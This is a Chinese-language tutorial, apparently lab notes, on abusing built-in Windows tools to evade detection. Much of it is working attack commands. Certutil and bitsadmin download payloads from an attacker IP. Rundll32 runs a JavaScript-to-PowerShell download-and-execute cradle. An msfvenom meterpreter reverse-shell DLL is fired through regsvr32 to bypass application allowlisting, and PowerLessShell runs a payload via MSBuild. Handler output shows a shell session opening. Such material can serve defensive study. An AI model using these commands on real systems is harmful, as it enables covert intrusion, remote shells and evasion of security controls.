Windows原生工具利用技术
基本思想
“就地取材”、“本地化存活”是一个有效规避检测的方法,通过利用win自带、由微软签发的的工具、命令、脚本等进行攻击利用能使攻击更加隐蔽,不易发现,常用的工具集如下:
- Windows Sysinternals 工具集:包含多个类别,包括:磁盘管理、进程管理、网络工具、系统信息、安全工具;访问这些工具可以通过:网络浏览器( 链接 )、Windows Share(
\\live.sysinternals.com\tools) - LOLBAS 项目:一个对win自带的/由微软自签发的工具、脚本的搜集库。
内置工具使用示例
Certutil
Certutil 是 Windows 内置的用于处理证书服务的工具。它用于转储和显示证书颁发机构(CA)配置信息和其他 CA 组件,但它也可以被用于传输、编码与证书无关的内容。
传输文件
可以使用 certutil.exe 从攻击者的 web 服务器下载文件并存储在 Windows 的临时文件夹中:
certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe
参数说明:
-urlcache用于显示 URL,启用命令中使用的 URL 选项。-split -f用于分割并强制从提供的 URL 获取文件。
编码文件/内容
可以用它来编码文件和解码文件的内容,用于混淆文件,使它们难以被发现或分析:
certutil -encode payload.exe Encoded-payload.txt # 编码
certutil -decode Encoded_file payload.txt # 解码
BITSAdmin
The bitsadmin 工具是一个系统管理员实用程序,可用于创建、下载或上传背景智能传输服务 (BITS) 任务并检查其进度。BITS 是一种低带宽的异步方法,用于从 HTTP Web 服务器和 SMB 服务器下载和上传文件。
下载payload
攻击者可能会滥用 BITS 作业在受感染的机器上下载并执行恶意负载:
bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\Users\thm\Desktop\payload.exe
参数说明:
/Transfer用于使用传输选项/Download指定下载传输类型/Priority将作业的优先级设置为在前台运行
FindStr
本身用于对文本内容的匹配,功能类似linux中的grep。
远程文件下载
但它可以从网络内的 SMB 共享文件夹下载远程文件:
findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe
参数说明:
/V用于打印不包含所提供字符串的行。dummystring要搜索的文本;在这种情况下,我们提供一个文件中不应存在的字符串。\> c:\Windows\Temp\test.exe将输出重定向到目标机器上的文件
文件执行
这被称为“已签名二进制代理执行”或“间接命令执行”,攻击者利用其他系统工具来启动恶意有效载荷。这种技术也有助于规避防御控制。
文件资源管理器
explorer.exe 工具可以被利用和滥用,从受信任的父进程启动恶意脚本或可执行文件,其二进制文件位于:
- C:\Windows\explorer.exe 用于 64 位 Windows 版本。
- C:\Windows\SysWOW64\explorer.exe 用于 Windows 32 位版本。
为了创建 explorer.exe 的子进程,可以执行以下命令:
explorer.exe /root,"C:\Windows\System32\calc.exe"
WMIC
WMIC 是一个 Windows 命令行工具,用于管理 Windows 组件。其可以用于执行二进制文件以规避防御措施。这被称为“带签名二进制代理执行”:
C:\Users\thm>wmic.exe process call create calc
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 1740;
ReturnValue = 0;
};
PS:这里创建了一个新的二进制进程calc
Rundll32
Rundll32 是微软内置的工具,用于在操作系统中加载和运行动态链接库 DLL 文件。红队可以利用 rundll32.exe 来运行任意有效载荷,并执行 JavaScript 和 PowerShell 脚本。这被称为“已签名二进制代理执行”
该 rundll32.exe 二进制文件位于:
- C:\Windows\System32\rundll32.exe,适用于 64 位 Windows 版本。
- C:\Windows\SysWOW64\rundll32.exe,适用于 32 位 Windows 版本。
执行二进制文件
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
PS:使用嵌入 JavaScript 组件的 rundll32.exe 二进制文件,以及 eval(),来执行 calc.exe 二进制文件

执行JS脚本
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");
PS:运行了一个 JavaScript,该 JavaScript 使用 rundll32.exe 从远程网站下载 PowerShell 脚本到本地内存中
应用白名单绕过
应用程序白名单是微软的端点安全功能,可防止恶意和未经授权的程序实时执行。应用程序白名单是基于规则的,它指定了允许存在于操作系统上并执行的批准应用程序或可执行文件列表。
Regsvr32
Regsvr32 是一个 Microsoft 命令行工具,用于在 Windows 注册表中注册和注销动态链接库 (DLL)。但除了常规用途外还可以用来执行任意二进制文件并绕过 Windows 应用程序白名单,它利用了受信任的 Windows OS 组件,并在内存中执行。
regsvr.exe 二进制文件位于:
- C:\Windows\System32\regsvr32.exe 用于 32 位版本的 Windows
- C:\Windows\SysWOW64\regsvr32.exe 用于 64 位版本的 Windows
利用示例
创建payload
使用 msfvenom 创建一个恶意的 DLL 文件,并设置 Metasploit 监听器以接收反向 Shell:
user@attack$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.234.133 LPORT=443 -f dll -a x86 > live0fftheland.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 375 bytes
Final size of dll file: 8704 bytes
user@attack$ user@attack$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.234.133
LHOST => 10.10.234.133
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.234.133:443
上线shell
使用python搭建的web服务等方式将payload上传到目标主机后使用Regsvr32触发payload上线shell:
C:\Users\thm> c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.dll
or
C:\Users\thm> c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\live0fftheland.dll
Tips:第二个命令是一个更高级的命令
- /s: 在静默模式(不显示消息)
- /n: 不调用 DLL 注册服务器
- /i:: 使用另一个服务器,因为我们使用了/n
- /u: 使用注销方法运行
至此攻击机会受到反弹的shell:
msf6 > exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.234.133:443
[*] Sending stage (175174 bytes) to 10.10.159.197
[*] Meterpreter session 1 opened (10.10.234.133:443 -> 10.10.159.197:52845 ) at 2022-01-20 05:51:31 -0600
[!IMPORTANT]
创建x64还是x32的payload完全取决于使用的Regsvr32是多少位的。
Bourne Again Shell (Bash)
win10和win11中允许存在一个linux子系统 WSL1和WSL2,通过 bash.exe 可以与 Linux 环境交互。
而通过执行 bash.exe -c "有效载荷路径",攻击者可以执行任何未签名的有效载荷。这被称为“间接命令执行”技术 ,攻击者利用 Windows 工具实用程序来获取命令执行。

其他方法
修改快捷方式
修改快捷方式中调用的目标程序,当受害者点击时触发payload从而上线shell。
要使用快捷方式修改技术,可以将目标部分设置为执行文件,使用:
- Rundll32
- Powershell
- Regsvr32
- 磁盘上的可执行文件
PowerLessShell
PowerLessShell 可以在目标机器上生成恶意代码来执行,而不会显示 PowerShell 进程的实例。其依赖于滥用 MSBuild,这是一个用于构建 Windows 应用的平台,以执行远程代码。
利用示例
拉取工具
git clone https://github.com/Mr-Un1k0d3r/PowerLessShell.git
创建payload启动msf监听
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=10.10.234.133 LPORT=4443 -f psh-reflection > /tmp/liv0ff.ps1
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost 10.10.234.133;set lport 4443;exploit"
处理payload
使用工具将载荷转换为与 MSBuild 工具兼容的格式:
python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj
将生成的最终payload上传到目标主机即可。

上线shell
在目标 Windows 机器上运行MSBuild命令构建 .csproj 文件触发payload,上线shell:
c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe .\liv0ff.csproj
PS:这将不会以powershell的进程执行。


浙公网安备 33010602011771号